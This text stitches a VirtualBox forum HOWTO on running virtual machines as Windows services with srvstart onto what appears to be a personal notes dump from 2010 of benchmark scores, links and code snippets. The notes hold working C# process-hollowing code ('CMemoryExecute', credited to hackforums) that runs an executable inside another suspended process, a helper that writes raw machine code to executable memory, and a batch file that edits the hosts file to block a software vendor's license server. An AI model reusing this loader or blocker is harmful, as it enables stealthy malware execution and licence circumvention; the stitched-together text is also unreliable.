As usual there are a few caveats and issues. However the srvstart method is better than using srvany or NT wrapper and the like and perhaps nearly as good as vboxvmservice .

1. A useful feature is that once you have setup a Windows service to run srvstart you can change the configuration just by editing the ini file and restarting the service. No need to edit the Windows Service anymore.
2. The parameter after the svc parameter in the service command line should be exactly the same as the keyword in the ini file which is enclosed in square brackets. Within the ini file, you can change the virtualbox machine name to your own virtual machine (the parameters after the startvm and controlvm switches).
3. Don't assign a startup_dir keyword if the startup directory has white space in it. It seems to never work even with the environment variable work around. This is not a big issue as it is not usually needed anyway.
4. Use Windows Service Commander to create/delete/edit windows services. The included SVC tool and the srvstart install command's are a bit flaky (parsing parameters).
5. The key reason to use srvstart is because we can stop the virtual machine in the correct way (the above configuration saves the state) by using the vboxmanage controlvm command. You could also try an acpi shutdown. Saving state and closing is probably good enough though.
6. srvstart does not do any smart checking of the parameters passed to it. In particular it fails to Do The Right Thing (tm) when passed parameters with white space in them. This is why some parameters are passed, quoted, in environment variables, more because this works (as in worksaround) than because it is the right way.
7. If possible define the vrdp port number in the machine settings not the vboxheadless command line if you are using the savestate method of shutting down. You can get a conflict which prevents the virtual machine from starting up.
8. Stopping the service usually successfully terminates the vboxheadless processes. Unfortunately the VBoxSvc process does not always do the right thing and go away. This is particularly true if you start the virtualbox Gui while the service is started. This can leave locked files behind which prevent you from either starting the virtualbox gui or accessing the machine from the gui if the gui can be started and other issues.
9. This method opens a console window (note not a command window). Virtualbox fails with some weird error if it can't send output to stdout (I'm guessing) so it is essential that the console window is allowed. Closing this window will kill the vboxheadless process. There are various utilities that you can use to try and start the service without the console window (by running the vboxheadless from a batchfile for example and running the batchfile as a service but this is messy and unreliable).
10. Use Process Explorer to see what is really going on.
11. Some error codes you might see from srvstart in the Application Event log:
* Srvstart will usually throw error messages from the win32 api which are usually related to some problem with createprocess(). here is a cheatsheet
* Error 267 and Error 2: Win32 directory/filenot found errors. If you have double checked the parameter then this is usually a problem with srvstart not parsing input parameters properly (stopping at the first white space). Assign the parameter (with quoting) to an environment variable with the env keyword and use the env. variable (using the usual %var% format) in place of the parameter.
* -xxxxxxxxx: (a large minus number like exit code -2135228415) virtualbox probably could not create/find a stdout/stderr. Tick the Interact with desktop checkbox in the windows service configuration.

Last edited by rasker on 24. Mar 2009, 12:30, edited 4 times in total.
linux guest running as a service on a Windows host
HOWTO - virtualbox as a service on Windows (srvstart.exe)
HOWTO - virtualbox as a service on Windows (SRVANY.EXE)
HOWTO - virtualbox as a service on Windows (NT Wrapper)

rasker

Posts: 32
Joined: 6. Mar 2009, 15:27

Top
Re: HOWTO - virtualbox as a service on Windows (srvstart.exe)

Postby rasker » 15. Mar 2009, 03:27
SRVSTART.INI EXAMPLE

This is an example srvstart.ini file.

Code: Select all Expand viewCollapse view
#An example ini file for SRVSTART

#The Windows service can be called anything you want.

#The srvstart commandline should refer to the [] section in this file exaclty (case sensitive)


env=VBOX_USER_HOME=
env=VBOXGUI="C:\Program Files\Sun\xVM VirtualBox\virtualbox.exe"
env=VBOXHEADLESS="C:\Program Files\Sun\xVM VirtualBox\vboxheadless.exe"
env=VBOXWEBSRV="C:\Program Files\Sun\xVM VirtualBox\vboxwebsrv.exe"
env=VBOXMANAGE="C:\Program Files\Sun\xVM VirtualBox\VBoxManage.exe"
env=VBOX_PROG="C:\Program Files\Sun\xVM VirtualBox\"
env=VBOX_BASE="d:\vbox\"
env=VBOX_MACHINES="d:\vbox\machines"
env=VBOX_VDI="d:\vbox\VDI"
env=VBOX_MACHINE1=vbox_linsrv

#The srvstart commandline should refer to the name in [] exactly (case sensitive)
[VBOX_LINUX]

#the command to start the virtual machine
startup=%VBOXHEADLESS% -startvm VBOX_LINUX

the command to stop the virtual machine
shutdown_method=command
shutdown=%VBOXMANAGE% controlvm VBOX_LINUX savestate

#set to 1 for more debug messages from srvstart (note: not from virtualbox)
debug=0
#point the debug file somewhere (note the > to overwrite an older log file)
debug_out=>d:\vbox\VDI\VBOX_LINUX.log

Last edited by rasker on 15. Mar 2009, 04:22, edited 1 time in total.
linux guest running as a service on a Windows host
HOWTO - virtualbox as a service on Windows (srvstart.exe)
HOWTO - virtualbox as a service on Windows (SRVANY.EXE)
HOWTO - virtualbox as a service on Windows (NT Wrapper)

rasker

Posts: 32
Joined: 6. Mar 2009, 15:27

Top
Re: HOWTO - virtualbox as a service on Windows (srvstart.exe)

Postby rasker » 15. Mar 2009, 03:37
ANNOTATED GENERIC SRVSTART INI

And here is a generic srvstart.ini file with most of the options/keywords explained
(basically a summary of the srvstart documentation when used in service mode and with a config file)


Code: Select all Expand viewCollapse view
# An annotated generic srvstart control file (with all options listed)
# SRVSTART reads the control file, applying all keywords before the first section
# (Sections are defined by square brackets [], similar to windows ini file conventions)
# It then finds the section whose name matches the supplied window or service name,
# and applies all keywords in that section.
#
# To use an option uncomment the line beginning ##


# ***** GLOBAL OPTIONS *****
# Global options apply to all services managed by that ini file.


# *** Environment Variable Options ***
#
# Note that SRVSTART applies environment variable substitution to all keyword
# values which are filenames, pathnames or directories (new in version 1.1).
# For this to work, the environment variable must already be defined
# (either globally to Windows NT or using the env directive) at the time that
# the directive is read.

# ENV=var=value
# Set the environment variable var equal to value before running the program
# Environment values which contain embedded environment variables will have
# these substituted, but only if they are already defined. For example:
# myvar1=myvalue1
# myvar2=my_%myvar1%_val
# will set myvar1 to myvalue1 and myvar2 to my_myvalue1_val. However
# myvar2=my_%myvar1%_val
# myvar1=myvalue1 ...
# will set myvar2 to my_%myvar1%_val (since myvar1 is not defined at this point.
#
# Note that in service mode, the only environment variables available when SRVSTART
# starts are the system environment variables. (These are the environment variables
# in the upper list box in In # Control Panel|System|Environment.) If the service
# is started using a named Windows NT account, then the environment for that account
# will also available.
#
##env=var=value

# PATH=path
# set the value of the %PATH% environment variable to path
# Default path if not given : %SYBASE%\install;SYBASE%\bin;%SYBASE%\dll;%SystemRoot%;%SystemRoot%\system32
#
##path=path


# *** Sybase Environment Variables ***

# SYBASE=sybase
# Set the value of the %SYBASE% environment variable to sybase
#
##sybase=sybase

# SYBPATH=path
# Assign a default %PATH% based on this value of sybase instead of value supplied using sybase=
#
# The sybpath option assigns a path as in the path option, but using the value supplied to sybpath, instead of sybase=.
# For example, -q C:\NEWSYB would assign a path of the form C:\NEWSYB\install;C:\NEWSYB\bin;... etc.
#
##sybpath=path

# LIB=libdir
# set the value of the %LIB% environment variable to libdir#
#
##lib=libdir


# *** Process Options ***

# PRIORITY-priority
# start the command at the given execution priority(idle, normal, high, real)
#
# * idle to run only when the CPU is otherwise idle
# * normal to run at normal priority
# * high to run at high priority
# * real to run at real time priority
#
##priority=priority


# *** Startup Options ***

# STARTUP_DELAY=seconds
# How long SRVSTART waits before reporting a "started" status to the NT Service Control Manager
#
# SRVSTART waits this number of seconds before reporting to the Windows NT Service Control Manager that the service has started.
# Use this option if the command takes a long time to initialise (default zero).
#
##startup_delay=seconds

# WAIT_TIME=seconds
# program status check interval in seconds
#
# SRVSTART regularly checks the process it has started to see if it is still running.
# If it has finished, then SRVSTART reports a "service stopped" status to the Service
# Control Manager and then exits. WAIT_TIME defines how often this check is done (default every second).
#
##wait_time=seconds


# *** Drive Mappings ***

# NETWORK_DRIVE=driveletter=networkpath
# This directive maps the drive driveletter (do not include the colon) to the network path networkpath
#
# networkpath should be a full network path including the host name and initial backslashes.
# Note that for this to work, the service must be started using a named user who has the
# appropriate privileges to access networkpath (since LocalSystem) does not have any network privileges.
#
##network_drive=driveletter=networkpath

# LOCAL_DRIVE=driveletter=localpath
# This directive maps the drive driveletter (do not include the colon) to the local path networkpath
#
# This is analogous to entering the SUBST command at the command line.
# networkpath should be a full pathname including the drive letter. Note that such
# substitutions are global and immediately visible to other users on the same computer.
# No special privileges are required (ie LocalSystem has sufficient authority to do this).
#
##local_drive=driveletter=localpath




# ***** DEBUGGING OPTIONS *****
# Debugging options apply to the srvstart process itself not the managed services.

# DEBUG=level
# set the SRVSTART debug level: 0=none, 1=normal, 2=verbose
# * 0 prevents any output other than error messages.
# * 1 outputs a few informational messages.
# * 2 outputs a large number of debug messages.
#
# Note that you must use the Debug executables for level 2 (you can find these in the Debug directory of the full distribution).
#
##debug=level

# DEBUG_OUT=target
# By default, SRVSTART logs error messages to the Event Log in service mode, and to stdout otherwise.
#
# * - hyphen : messages will go to stdout. This does not apply to service mode (messages will just disappear).
# * LOG LOG (uppercase) : debug messages will be sent to the Windows NT Event Log.
# * pathname Debug messages will be appended to this file.
#
# For example, the directive debug_out=%TEMP%\myservice.out will log debug output to the
# file myservice.out in a temporary directory.
#
# If target is a path name whose first character is > (greater than), SRVSTART will truncate the file before writing to it.
#
##debug_out=target




# ***** SERVICE DEFINITION *****
# A single instance of SRVSTART can manage multiple individual services of it's own.
# This is comparable to the way the windows svchost does things.
# (duplicate the following for each service you want to run)

# [MY_SERVICE]
# SRVSTART managed services are defined in ini style congiuration sections
# (each begun with square brackets [], with the square bracket containing the name
# of the managed service). The service definition ends either at the start of
# another service definition or the end of file.
#
##[MY_SERVICE]

# STARTUP=program
# This defines the service program command. It replaces the program and program_parameters which are supplied on the SRVSTART command line.
# You must provide a startup directive for each service which starts using a control file. All other directives are optional.
# e.g. startup=C:\MYPROG\MYPROG.EXE -a -b -c xxxx yyyy zzz
#
# The command to run, program [ program_parameters ] may be any executable program, that is anything with extension .com, .exe or .bat.
# program and program_parameters may refer to environment variables using the %var% syntax.
# (These will be substituted (not recursively, which is done while defining the environment variables) where encountered
# For example %HOME%\bin\mycommand.exe %SYSTEMROOT%.)
#
##startup=program [ program_parameters ...]

# STARTUP_DIR=path
# This defines the startup directory. It should be a full pathname including a drive letter.
#
##startup_dir=path

# WAIT=program
# This defines a command that SRVSTART will run after starting the service program.
#
# This should wait for the service program to enter a "running" state (eg wait for a database server to complete recovery).
# It should exit with a status of 0 once the service program is up and running.
# It should exit with a non-zero status if the service program has failed or is never going to enter a running status.
# Once this command has exited with a status of 0, SRVSTART considers that the service program is running.
#
##wait=program [ program_parameters ... ]

# SHUTDOWN_METHOD={kill | command | winmessage}
# This defines the action that SRVSTART will take to shutdown the service program (service mode only).
# SRVSTART will take this action if it receives a "shutdown" request from the SCM
# (eg a user runs NET STOP or stops the service using Control Panel | Services).
# * For shutdown_method=kill, SRVSTART will shut down the service program using the Win32 TerminateProcess() API.
# * For shutdown_method=command, SRVSTART will run the command given by the shutdown directive.
# * For shutdown_method=winmessage, SRVSTART will send a Windows CLOSE message to all Windows
# opened by the service program (new in version 1.1).
#
# kill is the default, and this directive can be omitted.
# Note that kill is equivalent to a Unix kill -9 and leaves DLLs in an undefined state (ie it does not call the DLL termination routines).
# I have not to date observed any problems with this (but it clearly depends on the program you are shutting down).
# Note also that winmessage will not work for Win32 console programs.
#
##shutdown_method={kill | command | winmessage}

# SHUTDOWN=program
# This defines a command to shut down the service program.
#
# SRVSTART will run this command if it receives a "shutdown" or stop request from the SCM
# (eg a user runs NET STOP) or stops the service using Control Panel | Services.
# If this directive is provided, then shutdown_method=command is implied and can be omitted.
#
##shutdown=program [ program_parameters ... ]

# AUTO_RESTART={y|n}
# This enables service restart if the SRVSTART service exits UNEXPECTEDLY
#
# If auto_restart is set, then SRVSTART will restart the service program if it
# exits for any reason. (The assumption here is that the service has crashed.)
# auto_restart does not, of course, restart the service program if it is stopped by request (eg NET STOP or Control Panel|Services).
# auto_restart does not restart the service program if it thinks that Windows NT is shutting down.
# Unfortunately it does not appear to be possible to determine this unambiguously.
# If you are irritated by services restarting during Windows NT shutdown, then increase the value of restart_interval to, say, a minute.
#
##auto_restart={y|n}

# RESTART_INTERVAL=seconds
# auto_restart is enabled and restart_interval is defined, then before restarting, SRVSTART will wait seconds seconds.
#
##restart_interval=seconds



You can copy and paste it into your own ini file and work through each section chosing to enable/disable each feature.
Last edited by rasker on 15. Mar 2009, 04:23, edited 2 times in total.
linux guest running as a service on a Windows host
HOWTO - virtualbox as a service on Windows (srvstart.exe)
HOWTO - virtualbox as a service on Windows (SRVANY.EXE)
HOWTO - virtualbox as a service on Windows (NT Wrapper)

rasker

Posts: 32
Joined: 6. Mar 2009, 15:27

Top
Re: HOWTO - virtualbox as a service on Windows (srvstart.exe)

Postby rasker » 15. Mar 2009, 03:53
Multiple Virtual Machines

To start multiple virtual machines as services you have two options.

Either:

Create an ini file for each virtual machine and setup Windows services to point to the different ini files

Or:

Create one ini file with additional sections (differentiated by [] names) and use the srvstart command parameters to select the configuration. You will still need to create individual Windows services for each machine.

An example multiple machine ini file would look like :

Code: Select all Expand viewCollapse view
env=VBOX_USER_HOME=
env=VBOXGUI="C:\Program Files\Sun\xVM VirtualBox\virtualbox.exe"
env=VBOXHEADLESS="C:\Program Files\Sun\xVM VirtualBox\vboxheadless.exe"
env=VBOXWEBSRV="C:\Program Files\Sun\xVM VirtualBox\vboxwebsrv.exe"
env=VBOXMANAGE="C:\Program Files\Sun\xVM VirtualBox\VBoxManage.exe"
env=VBOX_PROG="C:\Program Files\Sun\xVM VirtualBox\"
env=VBOX_BASE="d:\vbox\"
env=VBOX_MACHINES="d:\vbox\machines"
env=VBOX_VDI="d:\vbox\VDI"
env=VBOX_MACHINE1=vbox_linsrv

debug=0
debug_out=>d:\vbox\VDI\VBOX.log

[VBOX_MACHINE1]
startup=%VBOXHEADLESS% -startvm VBOX_MACHINE1
shutdown_method=command
shutdown=%VBOXMANAGE% controlvm VBOX_MACHINE1 savestate

[VBOX_MACHINE2]
startup=%VBOXHEADLESS% -startvm VBOX_MACHINE2
shutdown_method=command
shutdown=%VBOXMANAGE% controlvm VBOX_MACHINE2 savestate



Then create two windows services with Windows Service Commander:

Use this command line for machine 1:

Code: Select all Expand viewCollapse view
c:\Program Files\srvstart\srvstart.exe svc VBOX_MACHINE1 -c "c:\Program Files\srvstart\srvstart.ini"



And this command line for machine 2:

Code: Select all Expand viewCollapse view
c:\Program Files\srvstart\srvstart.exe svc VBOX_MACHINE2 -c "c:\Program Files\srvstart\srvstart.ini"



And so on......
Date: 10:36:06 09/12/2010

Name: 3dmark
Info: 3DMark Score10651.0 3DMarks
--------------------------------------------------------------------------------

SM2.0 Score3927.0
--------------------------------------------------------------------------------

HDR/SM3.0 Score4216.0
--------------------------------------------------------------------------------

CPU Score5780.0
--------------------------------------------------------------------------------

Game ScoreN/A
--------------------------------------------------------------------------------

GT1 - Return To Proxycon33.48 FPS
--------------------------------------------------------------------------------

GT2 - Firefly Forest31.96 FPS
--------------------------------------------------------------------------------

CPU1 - Red Valley2.01 FPS
--------------------------------------------------------------------------------

CPU2 - Red Valley2.66 FPS
--------------------------------------------------------------------------------

HDR1 - Canyon Flight38.08 FPS
--------------------------------------------------------------------------------

HDR2 - Deep Freeze46.25 FPS
--------------------------------------------------------------------------------
Date: 20:35:23 10/12/2010

Name: Crypo Encrypt decrypt
Info: http://www.crypo.com/
Date: 23:11:51 11/12/2010

Name: run in memory code dump
Info: The code, CInvokeAPI.cs:

Code:
using System;
using System.Runtime.InteropServices;
using System.Text;

/*
* Title: CInvokeAPI.cs
* Description: Call API by name implementation in purely managed C# (no 'unsafe' mess here).
*
* Developed by: affixiate
* Release date: December 2, 2010
* Released on: http://hackforums.net
*
* Comments: If you use this code, I require you to give me credits. Don't be a ripper! ;]
*/

public static class CInvokeAPI
{
///
/// Generates a new, non-garbage collectable string in memory. Use this with Unicode "W" API.
///

/// A Unicode string.
/// Address of newly allocated string in memory. Remember to free it after use.
public static int StringToPtrW(string theString)
{
return StringToPtr(Encoding.Unicode.GetBytes(theString));
}

///
/// Generates a new, non-garbage collectable string in memory. Use this with ANSI "A" API.
///

/// An ANSII string.
/// Address of newly allocated string in memory. Remember to free it after use.
public static int StringToPtrA(string theString)
{
return StringToPtr(Encoding.ASCII.GetBytes(theString));
}

///
/// Internal method used to allocate memory.
///

/// A byte buffer.
/// Address of newly allocated memory. Remember to free it after use.
private static int StringToPtr(byte[] buf)
{
return (int)GCHandle.Alloc(buf, GCHandleType.Pinned).AddrOfPinnedObject();
}

///
/// Invokes the specified Windows API.
///

/// Name of the library.
/// Name of the function.
/// The arguments.
/// True if function succeeds, otherwise false.
public static bool Invoke(string libraryName, string functionName, params int[] args)
{
/* Sanity checks. */
IntPtr hLoadLibrary = LoadLibrary(libraryName);
if (hLoadLibrary == IntPtr.Zero) return false;

IntPtr hGetProcAddress = GetProcAddress(hLoadLibrary, functionName);
if (hGetProcAddress == IntPtr.Zero) return false;

// Allocates more than enough memory for an stdcall and the parameters of a WinAPI function
IntPtr hMemory = VirtualAlloc(IntPtr.Zero, 1024 * 1024, MEM_COMMIT | MEM_RESERVE, MEM_EXECUTE_READWRITE);
if (hMemory == IntPtr.Zero)
return false;

IntPtr hMemoryItr = hMemory;

// Prepends the stdcall header signature
Marshal.Copy(new byte[] {0x55, 0x89, 0xE5}, 0, hMemoryItr, 0x3);
hMemoryItr = (IntPtr)((int)hMemoryItr + 0x3);

// Loop through the passed in arguments and place them on the stack in reverse order
for (int i = (args.Length - 1); i >= 0; i--)
{
Marshal.Copy(new byte[] {0x68}, 0, hMemoryItr, 0x1);
hMemoryItr = (IntPtr)((int)hMemoryItr + 0x1);
Marshal.Copy(BitConverter.GetBytes(args[i]), 0, hMemoryItr, 0x4);
hMemoryItr = (IntPtr)((int)hMemoryItr + 0x4);
}

Marshal.Copy(new byte[] {0xE8}, 0, hMemoryItr, 0x1);
hMemoryItr = (IntPtr)((int)hMemoryItr + 0x1);
Marshal.Copy(BitConverter.GetBytes((int)hGetProcAddress - (int)hMemoryItr - 0x4), 0, hMemoryItr, 0x4);
hMemoryItr = (IntPtr)((int)hMemoryItr + 0x4);

// Cleaning up the stack
Marshal.Copy(new byte[] {0x5D, 0xC2, 0x4, 0x0 /* <= I made a LOL. */}, 0, hMemoryItr, 0x4);
// Don't forget to increment if you are adding more ASM code here: hMemoryItr = (IntPtr)((int)hMemoryItr + 0x4);

try
{
var executeAsm = (RunAsm) Marshal.GetDelegateForFunctionPointer(hMemory, typeof (RunAsm));
executeAsm();
}
catch { return false; }

// Clean up the memory we allocated to do the dirty work
VirtualFree(hMemory, 0, MEM_RELEASE);
return true;
}

// ReSharper disable InconsistentNaming
private const uint MEM_RELEASE = 0x8000;
private const uint MEM_COMMIT = 0x1000;
private const uint MEM_RESERVE = 0x2000;
private const uint MEM_EXECUTE_READWRITE = 0x40;
// ReSharper restore InconsistentNaming

// My own sexy delegate:
[UnmanagedFunctionPointer(CallingConvention.StdCall, SetLastError = true)]
private delegate void RunAsm();

// WinAPI used:
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool VirtualFree(IntPtr lpAddress, UInt32 dwSize, uint dwFreeType);

[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr VirtualAlloc(IntPtr lpAddress, UInt32 dwSize, uint flAllocationType, uint flProtect);

[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr LoadLibrary(string lpFileName);

[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)]
private static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);
}

Sample usage:

Code:
CInvokeAPI.Invoke("user32", "MessageBoxW", 0, CInvokeAPI.StringToPtrW("Greetings from affixiate."), CInvokeAPI.StringToPtrW("Hello world."), 1);



Fully compatible with 64-bit and 32-bit Windows.

Pro-tip: Use with my other code to maximize results.

Without further ado, "CMemoryExecute.cs":

Code:
using System;
using System.Runtime.InteropServices;

/*
* Title: CMemoryExecute.cs
* Description: Runs an EXE in memory using native WinAPI. Very optimized and tiny.
*
* Developed by: affixiate
* Release date: December 3, 2010
* Released on: http://hackforums.net
* Credits:
* MSDN (http://msdn.microsoft.com)
* NtInternals (http://undocumented.ntinternals.net)
* Pinvoke (http://pinvoke.net)
*
* Comments: If you use this code, I require you to give me credits. Don't be a ripper! ;]
*/

// ReSharper disable InconsistentNaming
public static unsafe class CMemoryExecute
{
///
/// Runs an EXE (which is loaded in a byte array) in memory.
///

/// The EXE buffer.
/// Full path of the host process to run the buffer in.
/// Optional command line arguments.
///
public static bool Run(byte[] exeBuffer, string hostProcess, string optionalArguments = "")
{
var IMAGE_SECTION_HEADER = new byte[0x28]; // pish
var IMAGE_NT_HEADERS = new byte[0xf8]; // pinh
var IMAGE_DOS_HEADER = new byte[0x40]; // pidh
var PROCESS_INFO = new int[0x4]; // pi
var CONTEXT = new byte[0x2cc]; // ctx

byte* pish;
fixed (byte* p = &IMAGE_SECTION_HEADER[0])
pish = p;

byte* pinh;
fixed (byte* p = &IMAGE_NT_HEADERS[0])
pinh = p;

byte* pidh;
fixed (byte* p = &IMAGE_DOS_HEADER[0])
pidh = p;

byte* ctx;
fixed (byte* p = &CONTEXT[0])
ctx = p;

// Set the flag.
*(uint*)(ctx + 0x0 /* ContextFlags */) = CONTEXT_FULL;

// Get the DOS header of the EXE.
Buffer.BlockCopy(exeBuffer, 0, IMAGE_DOS_HEADER, 0, IMAGE_DOS_HEADER.Length);

/* Sanity check: See if we have MZ header. */
if (*(ushort*)(pidh + 0x0 /* e_magic */) != IMAGE_DOS_SIGNATURE)
return false;

var e_lfanew = *(int*)(pidh + 0x3c);

// Get the NT header of the EXE.
Buffer.BlockCopy(exeBuffer, e_lfanew, IMAGE_NT_HEADERS, 0, IMAGE_NT_HEADERS.Length);

/* Sanity check: See if we have PE00 header. */
if (*(uint*)(pinh + 0x0 /* Signature */) != IMAGE_NT_SIGNATURE)
return false;

// Run with parameters if necessary.
if (!string.IsNullOrEmpty(optionalArguments))
hostProcess += " " + optionalArguments;

if (!CreateProcess(null, hostProcess, IntPtr.Zero, IntPtr.Zero, false, CREATE_SUSPENDED, IntPtr.Zero, null, new byte[0x44], PROCESS_INFO))
return false;

var ImageBase = new IntPtr(*(int*) (pinh + 0x34));
NtUnmapViewOfSection((IntPtr)PROCESS_INFO[0] /* pi.hProcess */, ImageBase);
if (VirtualAllocEx((IntPtr)PROCESS_INFO[0] /* pi.hProcess */, ImageBase, *(uint*)(pinh + 0x50 /* SizeOfImage */), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE) == IntPtr.Zero)
Run(exeBuffer, hostProcess, optionalArguments); // Memory allocation failed; try again (this can happen in low memory situations)

fixed (byte* p = &exeBuffer[0])
NtWriteVirtualMemory((IntPtr)PROCESS_INFO[0] /* pi.hProcess */, ImageBase, (IntPtr)p, *(uint*)(pinh + 84 /* SizeOfHeaders */), IntPtr.Zero);

for (ushort i = 0; i < *(ushort*)(pinh + 0x6 /* NumberOfSections */); i++)
{
Buffer.BlockCopy(exeBuffer, e_lfanew + IMAGE_NT_HEADERS.Length + (IMAGE_SECTION_HEADER.Length * i), IMAGE_SECTION_HEADER, 0, IMAGE_SECTION_HEADER.Length);
fixed (byte* p = &exeBuffer[*(uint*)(pish + 0x14 /* PointerToRawData */)])
NtWriteVirtualMemory((IntPtr)PROCESS_INFO[0] /* pi.hProcess */, (IntPtr)((int)ImageBase + *(uint*)(pish + 0xc /* VirtualAddress */)), (IntPtr)p, *(uint*)(pish + 0x10 /* SizeOfRawData */), IntPtr.Zero);
}

NtGetContextThread((IntPtr)PROCESS_INFO[1] /* pi.hThread */, (IntPtr)ctx);
NtWriteVirtualMemory((IntPtr)PROCESS_INFO[0] /* pi.hProcess */, (IntPtr)( *(uint*)(ctx + 0xAC /* ecx */)), ImageBase, 0x4, IntPtr.Zero);
*(uint*) (ctx + 0xB0 /* eax */) = (uint)ImageBase + *(uint*) (pinh + 0x28 /* AddressOfEntryPoint */);
NtSetContextThread((IntPtr)PROCESS_INFO[1] /* pi.hThread */, (IntPtr)ctx);
NtResumeThread((IntPtr)PROCESS_INFO[1] /* pi.hThread */, IntPtr.Zero);

return true;
}

#region WinNT Definitions

private const uint CONTEXT_FULL = 0x10007;
private const int CREATE_SUSPENDED = 0x4;
private const int MEM_COMMIT = 0x1000;
private const int MEM_RESERVE = 0x2000;
private const int PAGE_EXECUTE_READWRITE = 0x40;
private const ushort IMAGE_DOS_SIGNATURE = 0x5A4D; // MZ
private const uint IMAGE_NT_SIGNATURE = 0x00004550; // PE00

#region WinAPI
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, byte[] lpStartupInfo, int[] lpProcessInfo);

[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

[DllImport("ntdll.dll", SetLastError = true)]
private static extern uint NtUnmapViewOfSection(IntPtr hProcess, IntPtr lpBaseAddress);

[DllImport("ntdll.dll", SetLastError = true)]
private static extern int NtWriteVirtualMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, uint nSize, IntPtr lpNumberOfBytesWritten);

[DllImport("ntdll.dll", SetLastError = true)]
private static extern int NtGetContextThread(IntPtr hThread, IntPtr lpContext);

[DllImport("ntdll.dll", SetLastError = true)]
private static extern int NtSetContextThread(IntPtr hThread, IntPtr lpContext);

[DllImport("ntdll.dll", SetLastError = true)]
private static extern uint NtResumeThread(IntPtr hThread, IntPtr SuspendCount);
#endregion

#endregion
}

Example usage:
Code:
CMemoryExecute.Run(File.ReadAllBytes(@"C:\run_me_in_memory.exe"), @"C:\inject_into_me.exe", @"(Optional) Command Line Parameters To Be Passed To C:\run_me_in_memory.exe");

Date: 19:48:59 12/12/2010

Name: photoshop turtorials
Info: http://psdfan.com/inspiration/every-great-photoshop-lighting-tutorial-ever-all-75-of-them/
Date: 23:16:24 14/12/2010

Name: DragonHunter virtualFileSystem
Info: public class VirtualFileSystem
{
///
/// The virtual File System is created by DragonHunter
/// This is some hardcoded stuff so if you use it in ur own project
/// Or somewhere else the credits goes to DragonHunter
///

public VirtualFileSystem() { }

public SortedList Directories;

public void Initialize(string VirtualizeFolder)
{
this.Directories = new SortedList();

//Lets load the files into RAM
foreach(FileInfo file in new DirectoryInfo(VirtualizeFolder).GetFiles("*.*", SearchOption.AllDirectories))
{
if(!Directories.ContainsKey(file.Directory.FullName))
{
Directories.Add(file.Directory.FullName, new VirtualDirectory());
Console.WriteLine("Virtualizing Directory: " + file.Directory.FullName);
}

Directories[file.Directory.FullName].AddFile(new VirtualDirectory.VirtualFile(File.ReadAllBytes(file.FullName),
File.ReadAllText(file.FullName),
new FileInfo(file.FullName)),
file.Name);
}

int count = 0;
foreach(VirtualDirectory vDir in Directories.Values)
count += vDir.GetFiles().Length;
Console.WriteLine("Total virtualized files: " + count);
}

public void DeleteDirectory(string DirectoryName)
{
if(Directories.ContainsKey(DirectoryName))
Directories.Remove(DirectoryName);
}

public class VirtualDirectory
{
private SortedList _files;

public VirtualDirectory()
{
this._files = new SortedList();
}

public void AddFile(VirtualFile VFile, string FileName)
{
if(!_files.ContainsKey(FileName))
_files.Add(FileName, VFile);
}

public VirtualFile[] GetFiles()
{
List files = new List();
for(int i = 0; i < _files.Count; i++)
files.Add(_files.Values[i]);
return files.ToArray();
}

public VirtualFile GetFile(string FileName)
{
if(_files.ContainsKey(FileName))
return _files[FileName];
return null;
}

public void Copy(string sourceFileName, string destFileName, bool overwrite)
{
if(!_files.ContainsKey(sourceFileName))
throw new FileNotFoundException("File not found", sourceFileName);
if(!overwrite && _files.ContainsKey(destFileName))
throw new IOException("Could not overwrite existing file");
if (sourceFileName == destFileName)
throw new Exception("File already exists");

_files.Add(destFileName, _files[sourceFileName]);
}

public void Create(string fileName, VirtualFile file)
{
if(_files.ContainsKey(fileName))
throw new Exception("File already exists");
_files.Add(fileName, file);
}

public class VirtualFile
{
private byte[] FileBytes;
private string FileStrings;
public FileInfo Fileinfo;

public VirtualFile(byte[] FileBytes, string FileStrings, FileInfo Fileinfo)
{
this.FileBytes = FileBytes;
this.FileStrings = FileStrings;
this.Fileinfo = Fileinfo;
}

public void WriteAllBytes(byte[] bytes, int offset)
{
MemoryStream ms = new MemoryStream(FileBytes);
ms.Write(bytes, offset, bytes.Length);
FileBytes = ms.ToArray();
}

public void WriteAllText(string contens)
{
FileStrings += contens;
}

public byte[] ReadAllBytes()
{
return FileBytes;
}

public string ReadAllText()
{
return FileStrings;
}

public MemoryStream MemoryStreamBytes()
{
return new MemoryStream(FileBytes);
}
}
}
}
Date: 00:25:31 19/12/2010

InfoName: http://forum.cgpersia.com
Info: http://forum.cgpersia.com
Date: 13:37:37 19/12/2010

Name: CG Academy - 3ds Max Training Collection
Info: http://www.fileserve.com/list/Knjdh5y
Date: 23:15:55 20/12/2010

Name: free 3d
Info: http://www.itoosoft.com/downloads/models.php
Date: 14:02:20 21/12/2010

Name: bat file 127.0.0.1 host set
Info: @TITLE 3D-Coat license server blocker!
@ECHO OFF
@CLS
ECHO --------------------------------------------------------------------
ECHO Checking if entry exists in "hosts" file!
ECHO --------------------------------------------------------------------
ping -n 1 -w 1000 1 >nul
FIND /C /I "127.0.0.1 www.3d-coat.com" %WINDIR%\system32\drivers\etc\hosts
IF %ERRORLEVEL% NEQ 0 (ECHO 127.0.0.1 www.3d-coat.com>>%WINDIR%\system32\drivers\etc\hosts
) ELSE (goto EXIST)
)
ping -n 1 -w 1000 1 >nul
@CLS
ECHO --------------------------------------------------------------------
ECHO The entry has been added successfully!
ECHO --------------------------------------------------------------------
ping -n 1 -w 1000 1 >nul
@CLS
:EXIT
@CLS
exit
:EXIST
@CLS
ECHO --------------------------------------------------------------------
ECHO The entry exists, will not be added!
ECHO --------------------------------------------------------------------
ping -n 1 -w 1000 1 >nul
@pause
@CLS
goto EXIT
Date: 22:45:37 23/12/2010

Name: compile at runtime
Info: Method

///
